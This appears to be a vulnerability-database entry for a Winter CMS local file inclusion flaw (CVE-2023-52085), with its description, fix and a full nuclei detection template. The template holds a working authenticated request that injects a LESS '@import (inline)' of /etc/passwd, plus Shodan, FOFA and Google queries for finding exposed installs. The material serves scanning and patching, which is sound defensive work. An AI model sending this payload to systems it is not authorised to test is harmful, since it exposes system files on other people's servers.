Winter CMS Local File Inclusion - (LFI)

mediumseverity

5.4CVSS score

30.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Winter is a free, open-source content management system. Users with access to backend forms that include a ColorPicker FormWidget can provide a value that would then be included without further processing in the compilation of custom stylesheets via LESS. This had the potential to lead to a Local File Inclusion vulnerability. This issue has been patched in v1.2.4.

Impact

Authenticated attackers can include local files via LESS compilation, potentially exposing sensitive file contents and system paths.

Fix

Upgrade Winter CMS to version 1.2.4 or later.

How to confirm it

Send: GET /backend/backend/auth/signin ; POST /backend/backend/auth/signin ; POST /backend/system/mailbrandsettings ; GET /backend/system/mailbrandsettings
Positive when: matches in body_4 /root:[x*]:0:0:/

Run it with nuclei: nuclei -id CVE-2023-52085 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-52085

info:
  name: Winter CMS Local File Inclusion - (LFI)
  author: sanineng
  severity: medium
  description: |
    Winter is a free, open-source content management system. Users with access to backend forms that include a ColorPicker FormWidget can provide a value that would then be included without further processing in the compilation of custom stylesheets via LESS. This had the potential to lead to a Local File Inclusion vulnerability. This issue has been patched in v1.2.4.
  impact: |
    Authenticated attackers can include local files via LESS compilation, potentially exposing sensitive file contents and system paths.
  remediation: |
    Upgrade Winter CMS to version 1.2.4 or later.
  reference:
    - https://github.com/wintercms/winter/security/advisories/GHSA-2x7r-93ww-cxrq
    - https://nvd.nist.gov/vuln/detail/CVE-2023-52085
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-52085
    cwe-id: CWE-22
    epss-score: 0.30166
    epss-percentile: 0.98233
    cpe: cpe:2.3:a:wintercms:winter:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: wintercms
    product: winter
    shodan-query:
      - "title:\"Winter CMS\""
      - http.title:"winter cms"
    fofa-query:
      - "title=\"Winter CMS\""
      - title="winter cms"
    google-query: intitle:"winter cms"
  tags: cve,cve2023,authenticated,lfi,wintercms,vuln

http:
  - raw:
      - |
        GET /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{_token}}&postback=1&login={{username}}&password={{password}}

      - |
        POST /backend/system/mailbrandsettings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-WINTER-REQUEST-HANDLER: onSave
        X-WINTER-REQUEST-PARTIALS:
        X-Requested-With: XMLHttpRequest

        _token={{_token}}&MailBrandSetting%5Bbody_bg%5D=%2342445B;@import%20(inline)%20%22/etc/passwd%22&redirect=0

      - |
        GET /backend/system/mailbrandsettings HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: regex
        part: body_4
        regex:
          - "root:[x*]:0:0:"

    extractors:
      - type: regex
        part: body
        name: _token
        group: 1
        regex:
          - '<input name="_token" type="hidden" value="([0-9a-zA-Z]{40})">'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from